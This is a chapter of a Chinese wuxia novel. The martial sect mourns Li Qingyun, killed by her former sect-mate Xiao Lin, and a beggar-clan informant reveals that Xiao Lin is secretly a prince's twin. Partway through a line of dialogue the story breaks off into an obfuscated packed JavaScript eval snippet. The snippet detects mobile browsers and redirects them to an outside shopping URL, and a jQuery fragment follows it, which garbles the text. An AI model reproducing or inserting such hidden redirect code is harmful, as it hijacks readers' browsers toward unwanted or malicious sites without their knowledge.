李青筠死了。
出了这么大的乱子,月下十九峰自然再没心情继续什么比武盟会。纪明川敲响了主峰最高处的那口大钟,浑厚的钟声响彻云霄,绵绵不绝。
主峰上的这口铜钟只有遇到大事才会启用,周围的十八峰峰主听闻钟声需即刻赶来,连日理万机的武林盟主云青鹤都不能例外。
纪明川敲过三声钟后,就回到了李青筠的尸身旁边。他毕竟年纪尚轻,亲眼目睹自己的师傅杀了自己的师姑,一时间就像傻了一样守着这具尸身发愣。
“明川?”
不知过了多久,忽然有人唤他一声,接着拨开人群上前。
纪明川动了动僵硬的脖子,看向来人,嗓音嘶哑:“九师姑……你来了。”
白青螺背着一张足有一人长度的弯月大弓,另一只手里拖了条死掉的巨狼,小心翼翼地避让人群:“各位,让一让,别沾了血污——我在山下围猎,听到钟声就立马赶回来了。盟会不是有青筠和你主持吗?发生什么事了?”
她一眼就瞥见地上躺着个人,胸口血流不止,想来是活不成了。
“有人死了?”白青螺移开视线,紧紧蹙眉,“又是花褪残红?这次不是有青筠亲自看着吗?他们怎么还敢出手?”
一见长辈,纪明川强撑出来的镇定瞬间土崩瓦解。他的眼眶中滚出一串泪,艰涩地开口:“不是花褪残红,是我师傅……他……”
“哎!”白青螺急忙提高声音打断他,四下环顾一圈,又压低声音说,“你提他作甚?让你小师姑听到了,又要大发一通脾气。幸好她现下不在这里。”
她说着,重新仔细环顾四周:“奇怪,那家伙向来喜欢耀眼夺目,今日怎么没见?”
纪明川掀开李青筠脸上那方白巾的一角,深吸一口气平复情绪:“小师姑她……在此处。”
白青螺这才正眼打量躺在地上的那个人,李青筠的面容依然经过矫饰,但她们二人朝夕相处,白青螺不用看脸也能认出来。
的确是李青筠。她觉得有些好笑:“原来在这里。小师妹,你这又是什么招数?想装死骗过花褪残红?”
抱臂站在一旁的华逢春心直口快:“什么装死!她是真死了。”
白青螺愣了一下,抬眼看向华逢春。此人衣着干练,背负药篓,腰系针包,一副医师打扮。
“你是……谯城华氏?”
她又低头看向地上一动不动的人,心中忽然“咯噔”一下,渐渐弥漫起不祥的预感。
谯城华氏本是神医世家,有活死人肉白骨的医术。但也正是因此,一旦被华氏医师用白巾覆面,就证明此人是切切实实的无力回天。
一面是生,一面是死;一念希望,一念绝望。谯城华氏在江湖上也因此有了个“白无常”的诨名。
白无常现身,还能有什么好事?
“……青筠?”
白青螺缓缓地将弯月大弓放在地上,又唤了一声:“青筠!”
她期待李青筠下一瞬能活蹦乱跳地起身,大笑着说“九师姐你又上当了!”,就像小时候无数次耍她一样。
“青筠,别玩了,快起来吧。”
但白青螺俯下身去推了推李青筠的肩,只碰到冰冷的躯体,沾了满手的血。
“她死透了。”华逢春毫不委婉地说,“白峰主,你也节哀。”
她语气没什么波澜,分明在劝慰,却像走流程一般敷衍。
“节哀?好好的一个人死了,我怎么节哀?!”白青螺猛地抬头,双目一片血红,“谁干的?!谁杀了她!”
纪明川方要张口,就被白青螺打断:“是花褪残红?——不,不可能,她身上只有一处致命伤,定是亲近的人近身偷袭!明川,你去将所有与青筠接触过的人都扣下,我一个一个查!”
“……九师姑,不必查了。”
纪明川攥住她的手腕,也不知是谁的缘故,两人的手都颤得厉害。
“其实我们都亲眼看到了,杀小师姑的人,是肖凛。”
作为肖凛的徒弟,他再清楚不过。那不是花褪残红的伪装,而是真真正正的、肖凛本人。
“肖凛?开什么玩笑!”
当年肖凛离山之事白青螺是知道的。他所求之道与月下飞天镜独善其身的作风相悖,人各有志,分道扬镳也是常事。白青螺当时年近而立,与其余峰主一样,自然能想明白这一点。
然而小师妹李青筠那时不过十六,正是年少气盛,因而反应也最激烈。她将肖凛离山视为背叛,声称与他恩断义绝,死生不复见。
所以若是说李青筠杀了肖凛,白青螺还能勉强相信。
——至于肖凛杀李青筠?他性子温厚,对青筠愧疚还来不及,怎么可能痛下杀手!
白青螺下意识想否定这个答案,但她看向纪明川,又见对方的神情不似作伪。
可她这个师侄打小就对肖凛万分崇拜,总不能无中生有诬陷自己的师傅……
更何况,在场的还有这么多双眼睛都看到了。
难道……真的是肖凛杀了李青筠?
“肖凛。肖凛。”她咬着牙,将这个名字翻来覆去念了两遍,霍然起身,“他人呢?”
“跑了!”
头顶上有人喊了一声,随即从树梢高高跃下,落地打了一滚缓冲去势。
这人站起身,衣衫褴褛,头发蓬乱,正是丐帮朴七。
与李青筠交好之人天南海北三教九流都有,朴七是其中之一。白青螺与她也有些交情,连忙追问:“人呢?追到了吗?”
朴七“呸”地吐掉齿间的狗尾巴草,骂道:“狗日的肖凛,老娘好不容易追上去,谁知道他还有帮手!”
白青螺一把抓起弯月大弓:“他朝哪里去了?我去追!”
朴七喘着粗气,没好气地挥手扇了扇风:“去了也是白去,来接他的是金翎卫。你想在那群家伙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334317|199213||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手底下要人?做梦!”
白青螺动作一顿:“金翎卫?”
朴七看了看周围竖起耳朵听八卦的人群,指向远处的主峰正堂:“借一步说话。”
“好。”白青螺立即应下来,转头对纪明川道,“明川,你继续守在青筠身旁,待其余峰主到后说明情况。——好了,收收眼泪,现在不是伤心的时候,我们得查清背后真相,好为青筠报仇。”
纪明川闭了闭眼,努力平复情绪,点头:“是,师姑,我知道了。”
白青螺带着朴七拨开人群,进入空无一人的正堂。她回身将门阖上:“到底是怎么回事?肖凛怎么会与金翎卫扯上关系?”
“金翎卫只听京都皇族调遣,你该问,肖凛与皇族是什么关系。”朴七说,“我可是清清楚楚听到了,金翎卫叫他‘世子殿下’。”
“……‘世子’?肖凛分明是大师姐救回来的孤儿,怎么会是世子?”
朴七嗤笑:“白九啊白九,我看你是成天在山里拉弓射箭,真把自己当不问世事的野人了。”
白青螺一时无言以对,只能低头:“论消息灵通,月下飞天镜当然不如你们丐帮。还请问朴帮主,肖凛的身世到底是怎么一回事?又为何会殃及青筠?”
“肖凛这厮为何杀李青筠,我的确不知。但他的身世我有所耳闻。”朴七说,“早先楚王一家被掳去突厥,楚王和楚王妃两口子没福气,死在了突厥,只剩下年幼的世子装疯卖傻才活了下来。”
“六年前冬夜,肖凛离开月下十九峰后便单刀匹马闯入突厥王城,救回楚王世子,将他护送过了大荒江,随后拔刀斩断冻结的江面阻拦追兵。”
“寒鉴分江。”白青螺说,“这事我自然知道。”
“你不知道的是,楚王膝下其实是一对双生子。被突厥人劫掳的途中,有一子病弱昏迷,楚王妃谎称他已病死,于是那个幼童的‘尸身’被扔在路边,之后又被你们大师姐偶然遇见,捡了回去。”朴七摊了摊手,“我猜肖凛一直都知道自己的身世,所以才拼死拼活去突厥救回楚王世子。就是这一遭,嘿,兄弟俩一见面王八看绿豆——对上眼了!”
白青螺愣愣道:“原来如此吗……?”
“你也没想到吧,你们这山旮旯里居然还藏了只金凤凰。”朴七说,“最可笑的是李青筠,花褪残红追杀她那么多年都没得手,到头来却被昔日好友一刀捅了个对穿。”
“我知道了,多谢朴帮主。”白青螺沉思良久,随后正色朝朴七抱拳一礼,“这些事我会告诉青鹤师兄,由他定夺。”
“云青鹤?”朴七摇头,“他向来不愿武林与朝廷起冲突,是个和稀泥的好手。你就不怕这事不了了之?”
“在别的事上,青鹤师兄的确奉行中庸之道。但此事不同。”白青螺掷地有声道,“事涉同门生死。青筠的仇人,就是整个十九峰的仇人。就算肖凛当真是什么楚王世子,我们也定会与他不死不休!”